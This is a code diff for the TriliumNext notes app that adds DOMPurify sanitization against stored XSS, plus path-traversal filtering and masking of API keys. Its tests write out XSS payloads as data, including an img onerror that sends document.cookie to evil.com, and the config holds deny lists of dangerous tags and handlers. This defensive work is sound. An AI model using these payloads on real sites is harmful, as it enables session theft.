Compare commits

..

1 Commits

59 changed files with 2566 additions and 184 deletions

View File

@@ -41,6 +41,7 @@
"clsx": "2.1.1",
"color": "5.0.3",
"debounce": "3.0.0",
"dompurify": "3.2.5",
"draggabilly": "3.0.0",
"force-graph": "1.51.1",
"globals": "17.3.0",

View File

@@ -5,6 +5,7 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(blob.content));
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

View File

@@ -9,6 +9,15 @@ export default function renderDoc(note: FNote) {
const $content = $("<div>");
if (docName) {
// Sanitize docName to prevent path traversal attacks (e.g.,
// "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
docName = sanitizeDocName(docName);
if (!docName) {
console.warn("Blocked potentially malicious docName attribute value.");
resolve($content);
return;
}
// find doc based on language
const url = getUrl(docName, getCurrentLanguage());
$content.load(url, async (response, status) => {
@@ -48,6 +57,31 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
await applyReferenceLinks($content[0]);
}
function sanitizeDocName(docNameValue: string): string | null {
// Strip any path traversal sequences and dangerous URL characters.
// Legitimate docName values are simple paths like "User Guide/Topic" or
// "launchbar_intro" — they only contain alphanumeric chars, underscores,
// hyphens, spaces, and forward slashes for subdirectories.
// Reject values containing path traversal (../, ..\) or URL control
// characters (?, #, :, @) that could be used to escape the doc_notes
// directory or manipulate the resulting URL.
if (/\.\.|[?#:@\\]/.test(docNameValue)) {
return null;
}
// Remove any leading slashes to prevent absolute path construction.
docNameValue = docNameValue.replace(/^\/+/, "");
// After stripping, ensure only safe characters remain:
// alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
// (periods are allowed for filenames but .. was already rejected above).
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
return null;
}
return docNameValue;
}
function getUrl(docNameValue: string, language: string) {
// Cannot have spaces in the URL due to how JQuery.load works.
docNameValue = docNameValue.replaceAll(" ", "%20");

View File

@@ -7,6 +7,7 @@ import contentRenderer from "./content_renderer.js";
import appContext from "../components/app_context.js";
import type FNote from "../entities/fnote.js";
import { t } from "./i18n.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
// Track all elements that open tooltips
let openTooltipElements: JQuery<HTMLElement>[] = [];
@@ -90,7 +91,8 @@ async function mouseEnterHandler(this: HTMLElement) {
return;
}
const html = `<div class="note-tooltip-content">${content}</div>`;
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = "tooltip-" + Math.floor(Math.random() * 999_999_999);
// we need to check if we're still hovering over the element
@@ -108,6 +110,8 @@ async function mouseEnterHandler(this: HTMLElement) {
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -0,0 +1,236 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -0,0 +1,161 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify from "dompurify";
/**
* Tags allowed in sanitized note content. This mirrors the server-side
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
* tags needed for CKEditor content rendering (e.g. <section> for included
* notes, <figure>/<figcaption> for images and tables).
*
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
*/
const ALLOWED_TAGS = [
// Headings
"h1", "h2", "h3", "h4", "h5", "h6",
// Block elements
"blockquote", "p", "div", "pre", "section", "article", "aside",
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
// Lists
"ul", "ol", "li", "dl", "dt", "dd", "menu",
// Inline formatting
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
"cite", "acronym", "data", "rp",
// Tables
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
"col", "colgroup",
// Media
"img", "figure", "figcaption", "video", "audio", "picture",
"area", "map", "track",
// Separators
"hr", "br",
// Interactive (limited)
"label", "input",
// Other
"span",
// CKEditor specific
"en-media"
];
/**
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
* of allowed attribute names that apply to all elements.
*/
const ALLOWED_ATTR = [
// Common
"class", "style", "title", "id", "dir", "lang", "tabindex",
"spellcheck", "translate", "hidden",
// Links
"href", "target", "rel",
// Images & media
"src", "alt", "width", "height", "loading", "srcset", "sizes",
"controls", "autoplay", "loop", "muted", "preload", "poster",
// Data attributes (CKEditor uses these extensively)
// DOMPurify allows data-* by default when ADD_ATTR includes them
// Tables
"colspan", "rowspan", "scope", "headers",
// Input (for checkboxes in task lists)
"type", "checked", "disabled",
// Misc
"align", "valign", "center",
"open", // for <details>
"datetime", // for <time>, <del>, <ins>
"cite" // for <blockquote>, <del>, <ins>
];
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*/
const PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOWED_URI_REGEXP,
// Allow data-* attributes (used extensively by CKEditor)
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// Do not allow <style> or <script> tags
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template"],
// Do not allow event handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
// Return a string
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
// Keep the document structure intact
WHOLE_DOCUMENT: false,
// Allow target attribute on links
ADD_TAGS: []
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -1232,6 +1232,7 @@
"openai_configuration": "OpenAI Configuration",
"openai_settings": "OpenAI Settings",
"api_key": "API Key",
"api_key_placeholder": "API key is configured (enter a new value to replace it)",
"url": "Base URL",
"model": "Model",
"openai_api_key_description": "Your OpenAI API key for accessing their AI services",

View File

@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
import type { PrintReport } from "../../../print";
import content_renderer from "../../../services/content_renderer";
import froca from "../../../services/froca";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import type { ViewModeProps } from "../interface";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
<h1>{note.title}</h1>
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
))}
</div>
</div>

View File

@@ -1,6 +1,7 @@
import { NoteType } from "@triliumnext/commons";
import FNote from "../../../entities/fnote";
import contentRenderer from "../../../services/content_renderer";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import { ProgressChangedFn } from "../interface";
type DangerouslySetInnerHTML = { __html: string; };
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
noChildrenList: true
});
return { __html: $renderedContent.html() };
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
}
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

View File

@@ -13,6 +13,27 @@ import katex from "../services/math.js";
import options from "../services/options.js";
import OnClickButtonWidget from "./buttons/onclick_button.js";
import RightPanelWidget from "./right_panel_widget.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for highlight list items. Only allows inline
* formatting tags that appear in highlighted text (bold, italic, underline,
* colored/background-colored spans, KaTeX math output).
*/
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small", "a",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="highlights-list-widget">
<style>
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
// If the previous element is connected to this element in HTML, then concatenate them into one.
$highlightsList.children().last().append(subHtml);
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
} else {
// TODO: can't be done with $(subHtml).text()?
//Cant remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
const $lastLi = $highlightsList.children("li").last();
$lastLi.append(await this.replaceMathTextWithKatax(substring));
$lastLi.append(subHtml);
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
} else {
$highlightsList.append(
$("<li>")
.html(subHtml)
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
);
}

View File

@@ -8,7 +8,7 @@ import server from "../../services/server.js";
import noteAutocompleteService from "../../services/note_autocomplete.js";
import { TPL, addMessageToChat, showSources, hideSources, showLoadingIndicator, hideLoadingIndicator } from "./ui.js";
import { formatMarkdown } from "./utils.js";
import { escapeHtml, formatMarkdown } from "./utils.js";
import { createChatSession, checkSessionExists, setupStreamingResponse, getDirectResponse } from "./communication.js";
import { extractInChatToolSteps } from "./message_processor.js";
import { validateProviders } from "./validation.js";
@@ -683,29 +683,31 @@ export default class LlmChatPanel extends BasicWidget {
let icon = 'bx-info-circle';
let className = 'info';
let content = '';
const safeContent = escapeHtml(step.content || '');
const safeName = escapeHtml(step.name || 'unknown');
if (step.type === 'executing') {
icon = 'bx-code-block';
className = 'executing';
content = `<div>${step.content || 'Executing tools...'}</div>`;
content = `<div>${safeContent || 'Executing tools...'}</div>`;
} else if (step.type === 'result') {
icon = 'bx-terminal';
className = 'result';
content = `
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
<div class="mt-1 ps-3">${step.content || ''}</div>
<div>Tool: <strong>${safeName}</strong></div>
<div class="mt-1 ps-3">${safeContent}</div>
`;
} else if (step.type === 'error') {
icon = 'bx-error-circle';
className = 'error';
content = `
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
<div class="mt-1 ps-3 text-danger">${step.content || 'Error occurred'}</div>
<div>Tool: <strong>${safeName}</strong></div>
<div class="mt-1 ps-3 text-danger">${safeContent || 'Error occurred'}</div>
`;
} else if (step.type === 'generating') {
icon = 'bx-message-dots';
className = 'generating';
content = `<div>${step.content || 'Generating response...'}</div>`;
content = `<div>${safeContent || 'Generating response...'}</div>`;
}
return `
@@ -1369,11 +1371,11 @@ export default class LlmChatPanel extends BasicWidget {
step.innerHTML = `
<div class="d-flex align-items-center">
<i class="bx bx-code-block me-2"></i>
<span>Executing tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
<span>Executing tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
</div>
${toolExecutionData.args ? `
<div class="tool-args mt-1 ps-3">
<code>Args: ${JSON.stringify(toolExecutionData.args || {}, null, 2)}</code>
<code>Args: ${escapeHtml(JSON.stringify(toolExecutionData.args || {}, null, 2))}</code>
</div>` : ''}
`;
stepsContainer.appendChild(step);
@@ -1401,7 +1403,7 @@ export default class LlmChatPanel extends BasicWidget {
<ul class="list-unstyled ps-1">
${results.map((note: any) => `
<li class="mb-1">
<a href="#" class="note-link" data-note-id="${note.noteId}">${note.title}</a>
<a href="#" class="note-link" data-note-id="${escapeHtml(note.noteId || '')}">${escapeHtml(note.title || '')}</a>
${note.similarity < 1 ? `<span class="text-muted small ms-1">(similarity: ${(note.similarity * 100).toFixed(0)}%)</span>` : ''}
</li>
`).join('')}
@@ -1412,17 +1414,17 @@ export default class LlmChatPanel extends BasicWidget {
}
// Format the result based on type for other tools
else if (typeof toolExecutionData.result === 'object') {
// For objects, format as pretty JSON
resultDisplay = `<pre class="mb-0"><code>${JSON.stringify(toolExecutionData.result, null, 2)}</code></pre>`;
// For objects, format as pretty JSON (escape HTML to prevent injection via JSON values)
resultDisplay = `<pre class="mb-0"><code>${escapeHtml(JSON.stringify(toolExecutionData.result, null, 2))}</code></pre>`;
} else {
// For simple values, display as text
resultDisplay = `<div>${String(toolExecutionData.result)}</div>`;
// For simple values, display as escaped text
resultDisplay = `<div>${escapeHtml(String(toolExecutionData.result))}</div>`;
}
step.innerHTML = `
<div class="d-flex align-items-center">
<i class="bx bx-terminal me-2"></i>
<span>Tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
<span>Tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
</div>
<div class="tool-result mt-1 ps-3">
${resultDisplay}
@@ -1452,10 +1454,10 @@ export default class LlmChatPanel extends BasicWidget {
step.innerHTML = `
<div class="d-flex align-items-center">
<i class="bx bx-error-circle me-2"></i>
<span>Error in tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
<span>Error in tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
</div>
<div class="tool-error mt-1 ps-3 text-danger">
${toolExecutionData.error || 'Unknown error'}
${escapeHtml(toolExecutionData.error || 'Unknown error')}
</div>
`;
stepsContainer.appendChild(step);

View File

@@ -3,7 +3,8 @@
*/
import { t } from "../../services/i18n.js";
import type { ToolExecutionStep } from "./types.js";
import { formatMarkdown, applyHighlighting } from "./utils.js";
import { escapeHtml, formatMarkdown, applyHighlighting } from "./utils.js";
import DOMPurify from "dompurify";
// Template for the chat widget
export const TPL = `
@@ -109,8 +110,8 @@ export function addMessageToChat(messagesContainer: HTMLElement, chatContainer:
contentElement.classList.add('assistant-content');
}
// Format the content with markdown
contentElement.innerHTML = formatMarkdown(content);
// Format the content with markdown and sanitize to prevent XSS
contentElement.innerHTML = DOMPurify.sanitize(formatMarkdown(content));
messageElement.appendChild(avatarElement);
messageElement.appendChild(contentElement);
@@ -141,20 +142,30 @@ export function showSources(
const sourceElement = document.createElement('div');
sourceElement.className = 'source-item p-2 mb-1 border rounded d-flex align-items-center';
// Create the direct link to the note
sourceElement.innerHTML = `
<div class="d-flex align-items-center w-100">
<a href="#root/${source.noteId}"
data-note-id="${source.noteId}"
class="source-link text-truncate d-flex align-items-center"
title="Open note: ${source.title}">
<i class="bx bx-file-blank me-1"></i>
<span class="source-title">${source.title}</span>
</a>
</div>`;
// Build the link safely using DOM APIs to prevent XSS via note titles
const wrapper = document.createElement('div');
wrapper.className = 'd-flex align-items-center w-100';
const link = document.createElement('a');
link.href = `#root/${source.noteId}`;
link.setAttribute('data-note-id', source.noteId);
link.className = 'source-link text-truncate d-flex align-items-center';
link.title = `Open note: ${source.title}`;
const icon = document.createElement('i');
icon.className = 'bx bx-file-blank me-1';
const titleSpan = document.createElement('span');
titleSpan.className = 'source-title';
titleSpan.textContent = source.title;
link.appendChild(icon);
link.appendChild(titleSpan);
wrapper.appendChild(link);
sourceElement.appendChild(wrapper);
// Add click handler
sourceElement.querySelector('.source-link')?.addEventListener('click', (e) => {
link.addEventListener('click', (e) => {
e.preventDefault();
e.stopPropagation();
onSourceClick(source.noteId);
@@ -216,6 +227,8 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
steps.forEach(step => {
let icon, labelClass, content;
const safeContent = escapeHtml(step.content || '');
const safeName = escapeHtml(step.name || 'unknown');
switch (step.type) {
case 'executing':
@@ -223,7 +236,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = '';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span>${step.content}</span>
<span>${safeContent}</span>
</div>`;
break;
@@ -232,9 +245,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = 'fw-bold';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
<span class="${labelClass}">Tool: ${safeName}</span>
</div>
<div class="mt-1 ps-3">${step.content}</div>`;
<div class="mt-1 ps-3">${safeContent}</div>`;
break;
case 'error':
@@ -242,9 +255,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = 'fw-bold text-danger';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
<span class="${labelClass}">Tool: ${safeName}</span>
</div>
<div class="mt-1 ps-3 text-danger">${step.content}</div>`;
<div class="mt-1 ps-3 text-danger">${safeContent}</div>`;
break;
case 'generating':
@@ -252,7 +265,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = '';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span>${step.content}</span>
<span>${safeContent}</span>
</div>`;
break;
@@ -261,7 +274,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
labelClass = '';
content = `<div class="d-flex align-items-center">
<i class="bx ${icon} me-1"></i>
<span>${step.content}</span>
<span>${safeContent}</span>
</div>`;
}

View File

@@ -1,6 +1,7 @@
/**
* Validation functions for LLM Chat
*/
import type { OptionNames } from "@triliumnext/commons";
import options from "../../services/options.js";
import { t } from "../../services/i18n.js";
@@ -44,15 +45,15 @@ export async function validateProviders(validationWarning: HTMLElement): Promise
// Check each provider in the precedence list for proper configuration
for (const provider of precedenceList) {
if (provider === 'openai') {
// Check OpenAI configuration
const apiKey = options.get('openaiApiKey');
if (!apiKey) {
// Check OpenAI configuration via server-provided boolean flag
const isKeySet = options.is('isOpenaiApiKeySet' as OptionNames);
if (!isKeySet) {
configIssues.push(`OpenAI API key is missing (optional for OpenAI-compatible endpoints)`);
}
} else if (provider === 'anthropic') {
// Check Anthropic configuration
const apiKey = options.get('anthropicApiKey');
if (!apiKey) {
// Check Anthropic configuration via server-provided boolean flag
const isKeySet = options.is('isAnthropicApiKeySet' as OptionNames);
if (!isKeySet) {
configIssues.push(`Anthropic API key is missing`);
}
} else if (provider === 'ollama') {

View File

@@ -1,5 +1,7 @@
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -36,6 +38,6 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
}
return {
__html: html as string
__html: sanitizeNoteContentHtml(html as string)
};
}

View File

@@ -21,6 +21,27 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
import appContext, { type EventData } from "../components/app_context.js";
import katex from "../services/math.js";
import type FNote from "../entities/fnote.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for ToC headings. Only allows inline formatting
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
